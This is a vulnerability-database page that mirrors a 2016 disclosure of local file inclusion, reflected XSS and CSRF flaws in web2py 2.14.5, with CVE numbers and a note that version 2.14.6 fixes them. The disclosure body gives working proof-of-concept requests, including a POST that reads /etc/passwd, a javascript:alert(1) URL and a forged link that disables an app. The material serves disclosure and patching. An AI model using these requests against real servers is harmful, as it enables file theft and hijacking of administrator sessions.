Lucene search
K

Web2py 2.14.5 CSRF / XSS / Local File Inclusion

🗓️ 16 May 2016 00:00:00Reported by Nahendra BhatiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 100 Views

Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS, CSRF reported and fixed in 201

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Web2py 2.14.5 - Multiple Vulnerabilities
16 May 201600:00
zdt
Circl
CVE-2016-4806
16 May 201600:00
circl
Circl
CVE-2016-4807
16 May 201600:00
circl
Circl
CVE-2016-4808
16 May 201600:00
circl
CNVD
web2py local file inclusion vulnerability
17 May 201600:00
cnvd
CNVD
web2py cross-site scripting vulnerability (CNVD-2016-03331)
17 May 201600:00
cnvd
CNVD
web2py Cross-Site Request Forgery Vulnerability
17 May 201600:00
cnvd
CVE
CVE-2016-4806
11 Jan 201716:00
cve
CVE
CVE-2016-4807
11 Jan 201716:00
cve
CVE
CVE-2016-4808
11 Jan 201716:00
cve
Rows per page
`Title - Web2py 2.14.5 Multiple Vulnerabilities LFI,XSS,CSRF  
  
# Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF  
# Reported Date : 2-April-2016  
# Fixed Date : 4-April-2016  
# Exploit Author : Narendra Bhati - https://www.exploit-db.com/author/?a=7638  
# CVE ID : LFI - CVE-2016-4806 , Reflected XSS - CVE-2016-4807 , CSRF - CVE-2016-4808  
# Tested On : MAC OS X EI Capitan, Windows 7 64 Bit, Most Linux Platforms.  
# Fix/Patching : Update To Web2py. 2.14.6  
# Facebook : https://facebook.com/iambhati  
# Twitter : http://twitter.com/NarendraBhatiB  
# Detailed POC: http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/  
==============================================  
  
  
LFI(Local File Inclusion): CVE-2016-4806  
  
POST URI - /admin/default/pack_custom/[applicationmame]  
  
Vulnerable Parameter = file  
  
Exploit - file=/etc/passwd  
  
Authentication Required = Yes(Administrator)  
  
Steps To Reproduction  
  
1) HTTP Request   
  
POST /admin/default/pack_custom/[applicationname] HTTP/1.1  
Host: 127.0.0.1:8000  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1:8000/admin/default/pack_custom/dasdasdasdad  
Cookie: session_id_welcome=asdadasdasdasdasd; session_id_admin=asdasdasdasdasd  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 3213  
  
file=/etc/passwd  
  
2) After sending this request, Application will prompt you with a file to download as an extension of "w2p".  
  
3) Now we have to unpack this downloaded file using. https://github.com/pigeonflight/web2py-unpacker  
  
I.e.   
Command for unpacking w2p file  
python web2py-unpacker.py downloadfile.w2p  
  
4) This command will create a folder called "unpack", In this folder there will be an another folder of the application of web2py. In this folder you will found the etc folder, Then into this folder you will get the passwd file.  
  
  
Video POC - https://www.youtube.com/watch?v=paCvmHgomP4  
  
Full Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/  
  
========================================================================  
  
Reflected XSS(Cross Site Scripting) : CVE-2016-4807  
  
GET URI - http://127.0.0.1:8000/admin/default/install_plugin/dasdasdasdad?plugin=math2py&source=anyurl  
  
Vulnerable Parameter - source  
  
Exploit - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)  
  
Authentication Required - Yes(Administrator)  
  
Steps To Reproduction  
  
1) Go to this URL - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)  
  
2) The parameter "source" value will get reflected on the page on "Here" button.  
  
3) When you will click on that button "Here" XSS payload will get executed.  
  
Video POC - https://www.youtube.com/watch?v=4j9hXJtVNbk  
  
Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/  
  
============================================================================  
  
  
CSRF(Cross Site Request Forgery): CVE-2016-4808  
  
GET URI - http://127.0.0.1:8000/admin/default/enable/[applicationname]  
  
Exploit - http://127.0.0.1:8000/admin/default/enable/[applicationname]  
  
Authenticated Required - Yes(Administrator)  
  
  
Steps To Reproduction  
  
1) Suppose we have an application in web2py called "testingapp"  
  
2) An attacker can trick an victim to disable the installed application just By sending this URL to victim - http://127.0.0.1:8000/admin/default/enable/testingapp  
  
Video POC - https://www.youtube.com/watch?v=d4V8qlNrYtk  
  
Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation